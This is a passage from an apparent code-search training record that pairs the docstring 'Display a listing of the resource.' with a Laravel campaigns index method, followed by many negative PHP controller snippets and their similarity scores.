$i . \"</u><br>\";\r\necho \"Profile Picture: \" . \"<img src=\" . $items['user']['profile_image_url_https'] . \"/>\" . \"<br />\";\r\necho \"Screen name: \". $items['user']['screen_name'].\"<br />\";\r\necho \"Name: \". $items['user'][\"name\"].\"<br />\";\r\necho \"Time and Date of Tweet: \".$items['created_at'].\"<br />\";\r\necho \"Tweet: \". $items['text'].\"<br />\";\r\necho \"<br>\";\r\n}\r\n}", "public function resanitize_all_tweets()\n {\n if($this->is_connected($this->connection)) {\n $tweets = $this->text_of_all_tweets();\n for($i = 0; $i < count($tweets); $i++) {\n $tweets[\"text\"] = $this->sanitize_tweet_by_id($tweets[\"id\"]);\n }\n return true;\n }\n return false;\n }" ]
[ "0.655367", "0.628879", "0.62842625", "0.6260684", "0.58792454", "0.5857825", "0.58534455", "0.5851857", "0.581452", "0.5776776", "0.5753014", "0.5730937", "0.5623866", "0.5615089", "0.5580864", "0.55499816", "0.55090296", "0.5465936", "0.54640996", "0.5456615", "0.54376286", "0.5420869", "0.5404971", "0.53904057", "0.538213", "0.5372581", "0.5350285", "0.53482264", "0.5342532", "0.53348964", "0.5333718", "0.5330481", "0.5327362", "0.53252256", "0.5319024", "0.5300281", "0.52913463", "0.5287043", "0.5275437", "0.5259254", "0.5235851", "0.5235057", "0.52332616", "0.52167463", "0.52076983", "0.5189741", "0.5175208", "0.5175208", "0.5169536", "0.5159017", "0.5157119", "0.51375717", "0.51348984", "0.5127528", "0.51229143", "0.5122255", "0.51085556", "0.5106571", "0.50943065", "0.5091713", "0.5091113", "0.50862956", "0.50816983", "0.5076572", "0.50747216", "0.507313", "0.507178", "0.5070524", "0.5069822", "0.50697565", "0.5047654", "0.50449073", "0.50446284", "0.5044019", "0.504002", "0.5035831", "0.5028981", "0.50269395", "0.50249213", "0.5019802", "0.5014731", "0.50042665", "0.49921587", "0.49882445", "0.4982252", "0.49701887", "0.49632636", "0.49545282", "0.4951636", "0.4949199", "0.49435094", "0.49416453", "0.4941088", "0.4935761", "0.49310082", "0.4927474", "0.4925781", "0.49129263", "0.49068967", "0.490601" ]
0.5408823
22
Display a listing of the resource.
public function index() { $campaigns = Campaign::all(); // If we have no videos, campaigns will not run without custom data $hasVideos = DB::table('videos')->count() > 0; // If we have no links, campaigns will not run without custom data $hasLinks = DB::table('links')->count() > 0; return view('campaigns.index', compact('campaigns', 'hasVideos', 'hasLinks')); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $sort = $this->Request()->getParam('sort', array());\n $filter = $this->Request()->getParam('filter', array());\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }", "public function listing();", "function index() {\n\t\t$this->show_list();\n\t}", "public function actionList() {\n $this->_getList();\n }", "public function listAction()\n {\n $model = $this->_getPhotoModel();\n $entries = $model->fetchEntries($this->_getParam('page', 1));\n\n $this->view->url = 'http://' . $this->_request->getHttpHost() . $this->_request->getBaseUrl(); \n $this->view->paginator = $entries;\n }", "public function index()\n {\n $items = Item::all();\n return ItemForShowResource::collection($items);\n }", "public function index()\n {\n return Resource::collection(($this->getModel())::paginate(10));\n }", "function index()\n\t{\n\t\t$this->_list();\n\t\t$this->display();\n\t}", "public function listingAction(){\n if (!LoginHelper::isAdmin()){\n Router::redirect('home', '<p class=\"alert alert-danger\">Unauthorized</p>');\n }\n $this->view->render('patient/list', Patient::all());\n }", "public function index()\n {\n //\n $list = $this->obj->all();\n\n return $this->render('index', compact('list'));\n }", "public function action_index()\n\t{\n\t\t$this->template->title = 'Resources';\n\t\t$this->view = View::factory('admin/resource/index');\n\t\t$this->template->scripts[] = 'media/js/jquery.tablesorter.min.js';\n\t\t$this->template->scripts[] = 'media/js/admin/resource.js';\n\t\t\n\t\t$resources = Sprig::factory('resource')->load(NULL, FALSE);\n\t\tif (!empty($resources))\n\t\t{\n\t\t\t$this->view->resources = $resources->as_array();\n\t\t}\n\t}", "function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_instrumentoModel->getInstrumento();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}", "public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n \n $todos = $em->getRepository(Todo::class)->findAll();\n \n return $this->render('todo/index.html.twig', array(\n 'todos' => $todos,\n ));\n }", "public function index()\n\t{\n $this->authorize('list', Instance::class);\n\n\t\treturn $this->ok($this->repo->paginate($this->request->all()));\n\t}", "public function actionRestList() {\n\t $this->doRestList();\n\t}", "public function listing()\n\t{\n\t\t$hospitalID = $this->request->getSession()->read(\"hospital_id\") ? $this->request->getSession()->read(\"hospital_id\") : \"\";\n\t\t\n\t\t$patientMonitored = 1;\n\t\t$patientActive = 1;\n\t\t\n\t\t//GET ALL PATIENTS\n\t\t$patientsData = $this->Patients->allPatients($hospitalID,$patientMonitored,$patientActive);\n\t\t//GET ALL PATIENTS\n\t\t\n\t\t//echo \"<pre>\"; print_r($patientsData);die;\n\t\t$this->set(compact(\"patientsData\"));\n\t}", "public function listAction()\n {\n $htmlpage = '<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <title>todos list!</title>\n </head>\n <body>\n <h1>todos list</h1>\n <p>Here are all your todos:</p>\n <ul>';\n \n $em = $this->getDoctrine()->getManager();\n $todos = $em->getRepository(Todo::class)->findAll();\n foreach($todos as $todo) {\n $htmlpage .= '<li>\n <a href=\"/todo/'.$todo->getid().'\">'.$todo->getTitle().'</a></li>';\n }\n $htmlpage .= '</ul>';\n\n $htmlpage .= '</body></html>';\n \n return new Response(\n $htmlpage,\n Response::HTTP_OK,\n array('content-type' => 'text/html')\n );\n }", "public function index()\n {\n // Get Persons\n $person = Person::paginate(10);\n\n //Return collection of person as a resource\n return PersonResource::collection($person);\n }", "public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Invoice list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the invoices.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/invoices/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\r\n\t\t$this->datagrid->setConfig ( Invoices::grid() )->datagrid ();\n\t}", "public function listAll()\n\t{\n\t\t$this->render(self::PATH_VIEWS . '/list', [\n\t\t\t'pages' => $this->pagesDb->findAll('id', 'DESC'),\n\t\t]);\n\t}", "public function list()\n {\n // récupérer les données : toutes les catégories enregistrées\n $productList = Product::findAll();\n\n $this->show('product/list', [\n 'productList' => $productList\n ]);\n }", "public function index()\n {\n // CRUD -> Retrieve --> List\n // BREAD -> Browse Read Edit Add Delete\n // return Item::all();\n return view('list_items',compact('items'));\n }", "public function index()\n {\n // Get manufacturers\n $manufacturers = Manufacturer::orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of manufacturers as a resource\n return ManufacturerResource::collection($manufacturers);\n }", "public function index()\n {\n return ArtistResource::collection(Artist::orderBy('created_at', 'desc')->get());\n }", "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t\n\t\tlist(,$files) = Lock_Service_FileType::getAllFileType();\n\t\t$data = array();\n\t\tforeach ($files as $key=>$value) {\n\t\t\t$data[$key]['id'] = $value['id'];\n\t\t\t$data[$key]['title'] = $value['name'];\n\t\t}\n\t\tlist($total, $filetype) = Lock_Service_FileType::getList($page, $perpage);\n\t\t$this->assign('filetype', $filetype);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'/?'));\n\t\t$this->assign('data', json_encode($data));\n\t}", "public function listAction()\n {\n $qb = $this->getRepository()->queryAll();\n\n $view = new ImportListView;\n $view->imports = $qb->getQuery()->execute();\n\n return $this->templating->renderResponse('InfiniteImportBundle:Import:list.html.twig', array(\n 'data' => $view\n ));\n }", "public function index()\n\t{\n\t\t//Return model all()\n\t\t$instances = $this->decorator->getListingModels();\n\n\t\treturn View::make($this->listingView, array(\n\t\t\t'instances' => $instances,\n\t\t\t'controller' => get_class($this), \n\t\t\t'modelName' => class_basename(get_class($this->decorator->getModel())),\n\t\t\t'columns' => $this->getColumnsForInstances($instances),\n\t\t\t'editable' => $this->editable\n\t\t));\n\t}", "public function index()\n {\n return InfografiResources::collection(\n Infografi::orderBy('date', 'desc')->get()\n );\n }", "public function listAction()\n\t {\n\t\t\t$this->_forward('index');\n \n\t\t}", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function listAction()\n {\n $defaults = array(\n 'page' => null,\n 'order' => null,\n 'limit' => null,\n 'offset' => null,\n 'filter' => array(),\n );\n $body = $this->getRequest()->getBody();\n $options = $body + $defaults;\n\n // Process the options\n if (is_string($options['order'])) {\n $options['order'] = array_map('trim', explode(',', $options['order']));\n }\n if (is_string($options['page'])) {\n $options['page'] = (int)$options['page'];\n }\n if (is_string($options['limit'])) {\n $options['limit'] = (int)$options['limit'];\n }\n if (is_string($options['offset'])) {\n $options['offset'] = (int)$options['offset'];\n }\n $filter = $options['filter'];\n unset($options['filter']);\n\n $options = array_filter($options);\n\n return $this->getBinding()->find($filter, $options);\n }", "public function index()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the resources from the model */\n $resources = $this->resourcesList($this->model);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.index\")) {\n $view = \"admin.{$this->name}.index\";\n } else {\n $view = 'admin.includes.actions.index';\n }\n\n /* Display a listing of the resources */\n return view($view)\n ->with('resources', $resources)\n ->with('module', $this->module);\n }", "public function index()\n\t{\n\t\t$data['lists'] = $this->mdl_student->get_all();\n\t\t$this->template->set('title', 'Student Hostel List');\n\t\t$this->template->load('template', 'contents', 'student_hostel/student_hostel_list', $data);\n\t}", "public function index()\n {\n $modules = Module::all();\n return Resource::collection($modules);\n }", "public function index()\n {\n // List all resources from user entity\n $users = User::all();\n\n return $this->showAll($users);\n }", "public function index()\n {\n // Get todos\n $todos = Todo::orderBy('created_at', 'desc')->paginate(3);\n\n // Return collection of articles as a resource\n return TodoResource::collection($todos);\n }", "public function index()\n {\n return Resources::collection(Checking::paginate());\n }", "public function index()\n {\n return CourseListResource::collection(\n Course::query()->withoutGlobalScope('publish')\n ->latest()->paginate()\n );\n }", "public function index()\n {\n $cars = Car::paginate(15);\n return CarResource::collection($cars);\n }", "public function index()\n {\n // Get articles\n $articles = Article::orderBy('created_at', 'desc')->paginate(5);\n\n // Return collection of articles as a resource\n return ArticleResource::collection($articles);\n }", "public function index()\n {\n $authors = Author::paginate(10);\n\n return AuthorResource::collection($authors);\n }", "public function index()\n {\n //Get Books\n $books = Book::paginate(10);\n \n if ($books) {\n return (BookResource::collection($books))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n } else {\n return (BookResource::collection([]))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n }\n return view('index')->with('data', $books);\n }", "public function view(){\n\t\t$this->buildListing();\n\t}", "public function index()\n {\n $books = Book::latest()\n ->paginate(20);\n\n return BookResource::collection($books);\n }", "public function index()\n {\n $listing = Listing::orderBy('id', 'desc')->paginate(10);\n return view('listings.index')->withListings($listing);\n }", "public function listAction()\n {\n $this->_getSession()->setFormData([]);\n\n $this->_title($this->__('Training Cms'))\n ->_title($this->__('Pages'));\n\n $this->loadLayout();\n\n $this->_setActiveMenu('training_cms');\n $this->_addBreadcrumb($this->__('Training Cms'), $this->__('Training Cms'));\n $this->_addBreadcrumb($this->__('Pages'), $this->__('Pages'));\n\n $this->renderLayout();\n }", "public function index()\n {\n $services = $this->serviceRepository->paginate();\n\n return ServiceResource::collection($services);\n }", "public function index()\n {\n $resources = ResourceManagement::paginate(5);\n $users = User::get();\n\n return view('resources-mgmt/index', ['resources' => $resources, 'users' => $users]);\n }", "public function index()\n {\n $catalogs = Catalog::where('status', '=', Catalog::PUBLICADO)\n ->orderBy('id', 'DESC')->get();\n \n $data = CatalogResource::collection($catalogs);\n\n return [\n 'items' => $data,\n 'mensaje' => ''\n ];\n }", "public function listAction(){\n // In a controller this can be:\n // $this->request->getQuery('page', 'int'); // GET\n $currentPage = $this->request->getPost('pageindex', 'int'); // POST\n $pageNum = ($currentPage == null) ? 1 : $currentPage;\n\n // The data set to paginate\n $message = new Notice();\n $results = $message->getMsg4Admin();\n\n // Create a Model paginator, show 10 rows by page starting from $currentPage\n $paginator = new PaginatorArray(\n array(\n \"data\" => $results,\n \"limit\" => 10,\n \"page\" => $pageNum\n )\n );\n\n // Get the paginated results\n $page = $paginator->getPaginate();\n\n return $this->response->setJsonContent($page);\n\n }", "public function list()\n {\n try {\n return $this->success($this->service->list());\n } catch (\\Exception $exception) {\n return $this->error($exception->getMessage());\n }\n }", "public function index()\n {\n return $this->sendResponse(CrisisResource::collection(Crisis::paginate(10)), 'Data fetched successfully');\n }", "public function index()\n\t{\n\t\t$%Alias = new %Model();\n\t\t$params = array();\n\t\t\n\t\t$Paginator = new Paginator( $%Alias->findSize( $params ), $this->getLimit(), $this->getPage() );\n\t\t$this->getView()->set( '%Aliass', $%Alias->findList( $params, 'Id desc', $this->getOffset(), $this->getLimit() ) );\n\t\t$this->getView()->set( 'Paginator', $Paginator );\n\t\treturn $this->getView()->render();\n\t}", "public function listAction() {}", "public function index()\n {\n\n return RecipeResource::collection(Recipe::all());\n }", "public function index()\n {\n $this->indexPage('list-product', 'List Product');\n }", "public function listAction()\n {\t\n\t\t$this->removeSession();\n\t\t$this->verifySessionRights();\n\t\t$this->setActivity(\"List view\");\n $em = $this->getDoctrine()->getManager();\n $oRepClient = $em->getRepository('BoAdminBundle:Client');\n\t\t$nb_tc = $oRepClient->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$clients = $em->getRepository('BoAdminBundle:Client')->findBy(array(),array('id' => 'desc'),$nb_cpp,$offset);\n $form = $this->createForm('Bo\\AdminBundle\\Form\\ClientType', new Client());\n return $this->render('client/index.html.twig', array(\n 'clients' => $clients,\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n 'form' => $form->createView(),\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"contracts\",\n\t\t\t'sm'=>\"client\",\n ));\n }", "public function index()\n {\n return AcResource::collection(Ac::latest()->paginate()); //\n }", "public function executeList()\n {\n $this->setTemplate('list');\n }", "public function indexAction()\n {\n $books = Book::getAll();\n\n View::renderTemplate('Books/index.html', [\n 'books' => $books\n ]);\n }", "function listing() {\r\n\r\n }", "public function listar() {\n $rs = $this->model->listar();\n\n echo $this->toJson($rs);\n }", "public function index()\n {\n return BookResource::collection(Book::orderby('id')->get());\n }", "public function doRestList()\n {\n $this->outputHelper( \n 'Records Retrieved Successfully', \n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->orderBy($this->restSort)->limit($this->restLimit)->offset($this->restOffset)->findAll(),\n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->count()\n );\n\t}", "public function index()\n {\n $client = Client::paginate();\n return ClientResource::collection($client);\n }", "public function index()\n {\n return TagResource::collection(\n Tag::orderBy('name', 'ASC')->paginate(request('per_page', 10))\n );\n }", "public function _index(){\n\t $this->_list();\n\t}", "public function index()\n\t{\n\t\t$data['lists'] = $this->gallery_mdl->get_all();\n\t\t$this->template->set('title', 'Gallery');\n\t\t$this->template->render('template', 'list', $data);\n\t}", "function drush_restapi_list() {\n\n $resources = restapi_get_resources();\n $last_module = NULL;\n $rows = [\n [dt('Module'), dt('Path'), dt('Class')],\n ];\n\n foreach($resources as $resource) {\n if ($last_module != $resource->getModule()) {\n $module = $last_module = $resource->getModule();\n }\n else {\n $module = '';\n }\n $rows[] = [$module, $resource->getPath(), $resource->getClass()];\n }\n\n drush_print_table($rows, TRUE);\n drush_log(dt('Displaying !count total resources', [\n '!count' => count($resources),\n ]), 'ok');\n\n}", "public function index()\n {\n $this->booklist();\n }", "public function index()\n {\n //\n $accounts = accounts::paginate(15);\n\n //return the collection of employees as a resource\n return accountResource::collection($accounts);\n\n\n }", "public function index()\n {\n $items = Item::all();\n return view('items::list_items',compact('items'));\n }", "public function index()\n {\n // Get houses\n $houses = House::orderBy('created_at', 'desc')->paginate(self::PAGINATE);\n \n // Return collection of houses\n \n return HouseResource::collection($houses);\n }", "public function index()\n {\n $products = Product::paginate(6);\n return ProductResource::collection($products);\n }", "public function index() {\n $this->template->allFoundItems = Found::showAll();\n $this->template->display( 'index.html.php' );\n }", "public function indexAction() {\n $this->_forward('list');\n }", "public function index()\n {\n $data = Productcategory::paginate(10);\n\t\treturn ProductcategoryResource::Collection($data);\n }", "public function index()\n {\n return SongResource::collection(\\App\\Song::orderBy('created_at', 'desc')->get());\n }", "public function ListView()\n\t{\n\t\t\n\t\t// Requer permissão de acesso\n\t\t$this->RequirePermission(Usuario::$P_ADMIN,\n\t\t\t\t'SecureExample.LoginForm',\n\t\t\t\t'Autentique-se para acessar esta página',\n\t\t\t\t'Você não possui permissão para acessar essa página ou sua sessão expirou');\n\t\t\n\t\t//$usuario = Controller::GetCurrentUser();\n\t\t//$this->Assign('usuario',$usuario);\n\t\t$this->Render();\n\t}", "public function index () {\n permiss ( 'role.list' );\n\n $data = $this->entity\n ->orderBy('created_at', 'desc')->get();\n\n return new ModelResource($data);\n }", "public function showResources()\n {\n $resources = Resource::get();\n return view('resources', compact('resources'));\n }", "public function index()\n {\n //get articless\n $articles = Article::paginate(15);\n\n //Return collection of article has a resource\n return ArticleResource::collection($articles);\n\n }", "public function actionList() {\n header(\"Content-type: application/json\");\n $verb = $_SERVER[\"REQUEST_METHOD\"];\n\n if ($verb === 'GET') {\n echo \"{\\\"data\\\":\" . CJSON::encode(Donneur::model()->findAll()) . \"}\";\n } else if ($verb == 'POST') {\n if (Donneur::model()->exists('id' === $_POST['id'])) {\n $this->actionListUpdate($_POST);\n } else {\n $this->actionListPost();\n }\n } else if ($verb == 'DELETE') {\n $this->actionListDelete();\n }\n }", "public function list()\n {\n return $this->http->request(HttpMethods::GET, $this->endpoint);\n }", "public function indexAction(){\n $data = array(\n 'collection' => $this->model->getCollection(),\n \n ); \t\n return $this->getView($data);\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('DiverPriceLisrBundle:Items')->findAll();\n\n return $this->render('DiverPriceLisrBundle:Items:index.html.twig', array(\n 'entities' => $entities,\n ));\n }", "public function actionIndex()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => Slaves::find(),\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function listAction() {\n\t\t// Recogemos el repositorio\n\t\t$repository = $this->getDoctrine() ->getRepository('AppBundle:Product');\n\t\n\t\t// Recuperamos todos los productos.\n\t\t$products = $repository->findAll();\n\t\t// Pasamos a la plantilla el aray products\n\t\treturn $this->render('product/listActionProduct.html.twig', array( 'products' => $products));\n\t\n\t}", "public function listAction()\n\t {\n\t\t$model = $this->_getModel();\n\t\t$result = $model->getLayouts();\t\n\t\t$page = (int)($this->_request->getParam('page')); \n\t\tif(count($result) > 0)\n\t\t{ \n\t\t\tGlobals::doPaging($result, $page, $this->view);\n\t\t}\n\t\t\t\t\n\t\t$this->view->page = $page;\n\t }", "public function actionList()\n {\n // get model\n $model = new $this->_model('search');\n $model->unsetAttributes();\n\n // set filter\n if (isset($_GET[$this->_model])) {\n $model->attributes = $_GET[$this->_model];\n }\n $model->u_cms_album_id = $_GET['album'];\n\n // search\n $dataProvider = $model->search(Yii::app()->language);\n // sort\n $sort = $dataProvider->getSort();\n // route\n $sort->route = $this->id . '/list';\n\n // pagination parameters\n $pagination = $dataProvider->getPagination();\n $pagination->route = $this->id . '/list';\n $pagination->pageSize = UInterfaceSetting::model()->getSettings($this->id . ':' . $this->module->id, Yii::app()->user->id)->page_size;\n $pagination->itemCount = $dataProvider->totalItemCount;\n\n // datas\n $datas = $dataProvider->getData();\n\n // related datas\n $relatedDatas = $this->_loadRelatedData();\n\n // template\n $template = isset($_REQUEST['partial']) ? 'list/_table' : 'list/main';\n\n $jsonParams = array();\n if (Yii::app()->request->isAjaxRequest) {\n // filters\n $filtersDatas = array();\n if (isset($_GET[$this->_model])) {\n $filtersDatas[$this->_model] = $_GET[$this->_model];\n }\n if (isset($_GET[$sort->sortVar])) {\n $filtersDatas[$sort->sortVar] = $_GET[$sort->sortVar];\n }\n\n $jsonParams = array(\n 'filters' => http_build_query($filtersDatas)\n );\n }\n\n $this->dynamicRender(\n $template,\n array(\n 'dataView' => new $this->crudComponents['listDataView'](\n $datas, $relatedDatas, $model, $sort, $pagination, $this\n )\n ),\n $jsonParams\n );\n }", "public function index()\n {\n return view('listings.index')->with('listings', Listing::all());\n }", "public function get_index()\n\t{\n\t\t$pages = Page::recent_available()->paginate(30);\n\t\t$table = Cello\\Presenter\\Page::table($pages);\n\t\t$data = array(\n\t\t\t'eloquent' => $pages,\n\t\t\t'table' => $table,\n\t\t);\n\n\t\tSite::set('title', __('cello::title.pages.list'));\n\n\t\treturn View::make('cello::api.resources.index', $data);\n\t}", "public function index()\n {\n return ProductResource::collection(Product::latest()->paginate(10));\n }", "public function index()\n {\n $category = GalleryCategory::paginate(15);\n\n // return collection of category as a resource.\n return Resource::collection($category);\n }", "public function index()\n {\n //\n $news = News::latest()->paginate(18);\n\n return NewsResource::collection($news);\n }", "public function indexAction() {\n\t\t$list_info = Zend_Registry::get('list_info');\n if (!Engine_Api::_()->core()->hasSubject('list_listing')) {\n return $this->setNoRender();\n }\n \n $this->view->expiry_setting = Engine_Api::_()->list()->expirySettings();\n\n //GET SUBJECT\n $this->view->list = $list = Engine_Api::_()->core()->getSubject('list_listing');\n\n\t\t//GET CATEGORY TABLE\n\t\t$this->view->tableCategory = Engine_Api::_()->getDbTable('categories', 'list');\n\n //GET CATEGORIES NAME\n\t\t$this->view->category_name = $this->view->subcategory_name = $this->view->subsubcategory_name = '';\n\n\t\tif(!empty($list->category_id)) {\n\t\t\tif($this->view->tableCategory->getCategory($list->category_id))\n\t\t\t$this->view->category_name = $this->view->tableCategory->getCategory($list->category_id)->category_name;\n\n\t\t\tif(!empty($list->subcategory_id)) {\n\t\t\t\tif($this->view->tableCategory->getCategory($list->subcategory_id))\n\t\t\t\t$this->view->subcategory_name = $this->view->tableCategory->getCategory($list->subcategory_id)->category_name;\n\n\t\t\t\tif(!empty($list->subsubcategory_id)) {\n\t\t\t\t\tif($this->view->tableCategory->getCategory($list->subsubcategory_id))\n\t\t\t\t\t$this->view->subsubcategory_name = $this->view->tableCategory->getCategory($list->subsubcategory_id)->category_name;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n //GET LISTING TAGS\n $this->view->listTags = $list->tags()->getTagMaps();\n\n\t\t//GET OTHER DETAILS\n\t\t$this->view->list_description = Zend_Registry::get('list_descriptions');\n $this->view->addHelperPath(APPLICATION_PATH . '/application/modules/Fields/View/Helper', 'Fields_View_Helper');\n $this->view->fieldStructure = Engine_Api::_()->fields()->getFieldsStructurePartial($list);\n\t\tif(empty($list_info)){ return $this->setNoRender(); }\n }", "public function index()\n {\n return $this->service->fetchResources(Author::class, 'authors');\n }", "public function index()\n {\n return view('admin.resources.index');\n }", "public function doRestList() {\n\t\t$this->outputHelper ( 'Collections Retrieved Successfully', $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->orderBy ( $this->restSort )->limit ( $this->restLimit )->offset ( $this->restOffset )->findAll (), $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->count () );\n\t}" ]
[ "0.7446777", "0.736227", "0.73005503", "0.72478926", "0.71631265", "0.71489686", "0.7131636", "0.7105969", "0.71029514", "0.7101372", "0.70508176", "0.6995128", "0.69890636", "0.6934895", "0.6900203", "0.6899281", "0.6891734", "0.6887235", "0.68670005", "0.6849741", "0.6830523", "0.6802689", "0.6797", "0.67957735", "0.67871135", "0.6760129", "0.67427456", "0.6730486", "0.67272323", "0.67255723", "0.67255723", "0.67255723", "0.67177945", "0.6707866", "0.6706713", "0.6704375", "0.6664782", "0.6662871", "0.6660302", "0.6659404", "0.6656656", "0.6653517", "0.6647965", "0.6620322", "0.66185474", "0.6618499", "0.6606105", "0.6600617", "0.65996987", "0.6594775", "0.6587389", "0.6585109", "0.6581641", "0.6581017", "0.6577157", "0.65747666", "0.6572513", "0.65721947", "0.6570553", "0.65646994", "0.6563556", "0.6554194", "0.65529937", "0.65460825", "0.65368485", "0.653429", "0.65328294", "0.6526759", "0.6526695", "0.6526284", "0.65191334", "0.65183175", "0.65174305", "0.651703", "0.65141153", "0.6507088", "0.65061647", "0.6504046", "0.64942145", "0.6491893", "0.64883405", "0.6486392", "0.6485077", "0.64846045", "0.6478858", "0.64756656", "0.64726377", "0.6471126", "0.64701074", "0.6467418", "0.6462195", "0.64618355", "0.6459199", "0.6457831", "0.6454631", "0.64533997", "0.6451915", "0.6450861", "0.6449301", "0.64492667", "0.64469045" ]
0.0
-1
Show the form for creating a new resource.
public function create() { $websites = Website::getAvailable(); // Check if we still have websites available if (count($websites) > 0) { return view('campaigns.create', compact('websites')); } return back()->with('warning', 'You have no more websites available!'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function create()\n {\n return $this->showForm('create');\n }", "public function create()\n {\n return $this->showForm('create');\n }", "public function create()\n {\n return view('admin.resources.create');\n }", "public function create(){\n\n return view('resource.create');\n }", "public function create()\n\t{\n\t\treturn $this->showForm('create');\n\t}", "public function create()\n {\n return \"Display a form for creating a new catalogue\";\n }", "public function newAction()\n {\n $entity = new Resource();\n $current = $this->get('security.context')->getToken()->getUser();\n $entity->setMember($current);\n $form = $this->createCreateForm($entity);\n\n return array(\n 'nav_active'=>'admin_resource',\n 'entity' => $entity,\n 'form' => $form->createView(),\n );\n }", "public function create()\n {\n return view ('forms.create');\n }", "public function create ()\n {\n return view('forms.create');\n }", "public function create()\n\t{\n\t\treturn view('faith.form');\n\t}", "public function create(NebulaResource $resource): View\n {\n $this->authorize('create', $resource->model());\n\n return view('nebula::resources.create', [\n 'resource' => $resource,\n ]);\n }", "public function create()\n {\n return view(\"request_form.form\");\n }", "public function create()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.create\")) {\n $view = \"admin.{$this->name}.create\";\n } else {\n $view = 'admin.includes.actions.create';\n }\n\n /* Show the form for creating a new resource. */\n return view($view)\n ->with('name', $this->name);\n }", "public function newAction()\n\t{\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => 'Ajouter une nouvelle &eacute;cole'\n\t\t) ) );\n\t}", "public function create()\n {\n return view($this->forms . '.create');\n }", "public function create()\n {\n return view('restful.add');\n }", "public function create()\n {\n $resource = (new AclResource())->AclResource;\n\n //dd($resource);\n return view('Admin.acl.role.form', [\n 'resource' => $resource\n ]);\n }", "public function create()\n {\n return view('admin.createform');\n }", "public function create()\n {\n return view('admin.forms.create');\n }", "public function create()\n {\n return view('backend.student.form');\n }", "public function newAction()\n {\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Nuevo');\n\n $entity = $this->getManager()->create();\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function create()\n {\n return view('client.form');\n }", "public function create()\n {\n // Nos regresa la vista del formulario\n return view('project.form');\n }", "public function create()\n {\n return view('Form');\n }", "public function newAction(){\n \n $entity = new Resourceperson();\n $form = $this->createAddForm($entity);\n\n \n return $this->render('ABCRspBundle:rsp:add.html.twig',array('entity'=>$entity,'form'=> $form->createView()));\n }", "public function createForm()\n\t{\n\t\treturn view('post.new');\n\t}", "public function create()\n {\n return view('admin.form.create', ['form' => new Form]);\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n $title = $this->title;\n $subtitle = \"Adicionar cliente\";\n\n return view('admin.clients.form', compact('title', 'subtitle'));\n }", "public function create()\n {\n return view('backend.schoolboard.addform');\n }", "public function create()\n\t{\n\t\treturn view('info.forms.createInfo');\n\t}", "public function create()\n {\n //\n return view('form');\n }", "public function create()\n {\n return view('rests.create');\n }", "public function create()\n {\n return $this->showForm();\n }", "public function create()\n {\n return $this->showForm();\n }", "public function create()\n {\n return view(\"Add\");\n }", "public function create(){\n return view('form.create');\n }", "public function create()\n {\n // Show the page\n return view('admin.producer.create_edit');\n }", "public function create()\n {\n\n return view('control panel.student.add');\n\n }", "public function newAction() {\n\t\t\n\t\t$this->view->form = $this->getForm ( \"/admin/invoices/process\" );\n\t\t$this->view->title = $this->translator->translate(\"New Invoice\");\n\t\t$this->view->description = 